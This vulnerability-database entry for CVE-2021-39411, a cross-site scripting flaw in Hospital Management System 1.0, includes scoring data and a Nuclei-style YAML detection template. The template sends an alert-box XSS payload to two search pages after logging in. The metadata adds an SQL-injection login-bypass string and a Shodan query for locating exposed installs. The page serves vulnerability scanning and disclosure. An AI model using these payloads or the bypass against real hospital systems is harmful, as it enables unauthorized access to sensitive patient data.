SecurityContext

CVE-2021-39411: Hospital Management System 1.0 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 7.2
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
  • Epss score: 0.00914
  • Epss percentile: 0.61012
  • Cpe: cpe:2.3:a:phptpoint:hospital_management_system:*:*:*:*:*:*:*:*

Metadata

  • Comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
  • Max-request: 4
  • Product: hospital_management_system
  • Shodan-query: http.html:"Hospital Management System"
  • Vendor: phptpoint
  • Verified: yes

Products

ProductIndexedUrl
phptpoint:hospital_management_systemyes/v1/products/phptpoint/hospital_management_system

Labels

  • Name: PHPGurukul Hospital Management System - Stored XSS
  • Impact: Attackers can execute arbitrary scripts in victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  • Remediation: Implement proper input sanitization and output encoding for all user inputs in the affected parameters.
  • Vulnerability type: stored_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs to submit malicious input
  • Labels source: projectdiscovery
  • From cve: CVE-2021-39411

```yaml

id: CVE-2021-39411

info:

name: Hospital Management System 1.0 - Cross-Site Scripting

author: arafatansari

severity: high

description: |

Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.

impact: |

Authenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions.

remediation: |

Apply security patches or upgrade to Hospital Management System version 1.1 or later.

reference:

- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3

- https://nvd.nist.gov/vuln/detail/CVE-2021-39411

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

cvss-score: 7.2

cve-id: CVE-2021-39411

epss-score: 0.00914

epss-percentile: 0.61012

cwe-id: CWE-79

cpe: cpe:2.3:a:phptpoint:hospital_management_system:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 4

shodan-query: http.html:"Hospital Management System"

comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.

product: hospital_management_system

vendor: phptpoint

tags: cve,cve2021,hms,hospital,cms,xss,authenticated,vuln

http:

- raw:

- |

POST /hms/doctor/ HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{username}}&password={{password}}&submit=

- |

POST /hms/doctor/search.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=

- |

POST /hms/admin/ HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{username}}&password={{password}}&submit=

- |

POST /hms/admin/patient-search.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=

matchers:

- type: dsl

dsl:

- 'contains(header_2, "text/html") || contains(header_4, "text/html")'

- "status_code_2 == 200 || status_code_4 == 200"

- 'contains(body_2, ''Result against \"<script>alert(document.domain)</script>\" keyword'') || contains(body_4, ''Result against \"<script>alert(document.domain)</script>\" keyword'')'

condition: and

digest: 4a0a00473045022100aff7fa834a4494bc4f5558dce0d828991a5e1888e263ad42389e2f7abf459cad022037bf846b0a0c2da289e07db19d294fcf4c584ea4c371f9fe582009ac6994911c:922c64590222798bb761d5b6d8e72950

```